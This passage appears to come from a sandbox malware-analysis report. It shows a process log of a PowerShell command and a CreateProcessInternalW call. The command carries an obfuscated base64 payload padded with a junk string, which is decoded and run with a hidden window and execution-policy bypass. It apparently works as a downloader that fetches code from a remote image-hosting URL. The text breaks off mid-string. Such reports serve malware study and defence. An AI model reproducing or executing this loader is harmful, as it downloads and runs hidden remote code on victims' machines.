-NoProfile -command $OWjuxD"
cmdline powershell -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('QfxHzcLOqm','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD"
Time & API Arguments Status Return Repeated

CreateProcessInternalW

 thread_identifier: 2708
thread_handle: 0x0000056c
process_identifier: 2704
current_directory: C:\Users\test22\AppData\Local\Temp
filepath: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
track: 1
command_line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = 'KQfxHzcLOqmQfxHzcLOqmnQfxHzcLOqmEsQfxHzcLOqmUQBrQfxHzcLOqmGkQfxHzcLOqmbQQfxHzcLOqmnQfxHzcLOqmCsQfxHzcLOqmJwBhQfxHzcLOqmGcQfxHzcLOqmZQBVQfxHzcLOqmHIQfxHzcLOqmbQfxHzcLOqmQfxHzcLOqmgQfxHzcLOqmD0QfxHzcLOqmIQfxHzcLOqmBaQfxHzcLOqmGwQfxHzcLOqmaQBoQfxHzcLOqmHQQfxHzcLOqmdQfxHzcLOqmBwQfxHzcLOqmHMQfxHzcLOqmOgQfxHzcLOqmvQfxHzcLOqmC8QfxHzcLOqmdQBwQfxHzcLOqmGwQfxHzcLOqmbwBhQfxHzcLOqmGQQfxHzcLOqmZQfxHzcLOqmBlQfxHzcLOqmGkQfxHzcLOqmbQBhQfxHzcLOqmGcQfxHzcLOqmZQBuQfxHzcLOqmHMQfxHzcLOqmLgBjQfxHzcLOqmG8QfxHzcLOqmbQQfxHzcLOqmuQfxHzcLOqmGIQfxHzcLOqmcgQfxHzcLOqmvQfxHzcLOqmGkQfxHzcLOqmbQBhQfxHzcLOqmGcQfxHzcLOqmZQBzQfxHzcLOqmC8QfxHzcLOqmMQfxHzcLOqmQfxHzcLOqmwQfxHzcLOqmDQQfxHzcLOqmLwQfxHzcLOqm2QfxHzcLOqmDUQfxHzcLOqmNQfxHzcLOqmQfxHzcLOqmvQfxHzcLOqmDUQfxHzcLOqmMwQfxHzcLOqm2QfxHzcLOqmC8QfxHzcLOqmbwByQfxHzcLOqmGkQfxHzcLOqmZwBpQfxHzcLOqmG4QfxHzcLOqmYQBsQfxHzcLOqmC8QfxHzcLOqmbgBlQfxHzcLOqmHcQfxHzcLOqmXwBpQfxHzcLOqmG0QfxHzcLOqmYQBnQfxHzcLOqmGUQfxHzcLOqmLgBqQfxHzcLOqmHQfxHzcLOqmQfxHzcLOqmZwQfxHzcLOqm/QfxHzcLOqmDEQfxHzcLOqmNgQfxHzcLOqm5QfxHzcLOqmDgQfxHzcLOqmOQQfxHzcLOqm1QfxHzcLOqmDcQfxHzcLOqmNwQfxHzcLOqm1QfxHzcLOqmDQfxHzcLOqmQfxHzcLOqmWgBsQfxHzcLOqmGkQfxHzcLOqmOwBLQfxHzcLOqmFEQfxHzcLOqmawB3QfxHzcLOqmGUQfxHzcLOqmYgBDQfxHzcLOqmGwQfxHzcLOqmaQBlQfxHzcLOqmG4QfxHzcLOqmdQfxHzcLOqmQfxHzcLOqmnQfxHzcLOqmCsQfxHzcLOqmJwQfxHzcLOqmgQfxHzcLOqmD0QfxHzcLOqmIQfxHzcLOqmBOQfxHzcLOqmGUQfxHzcLOqmdwQfxHzcLOqmtQfxHzcLOqmE8QfxHzcLOqmYgBqQfxHzcLOqmGUQfxHzcLOqmYwB0QfxHzcLOqmCQfxHzcLOqmQfxHzcLOqmUwB5QfxHzcLOqmHMQfx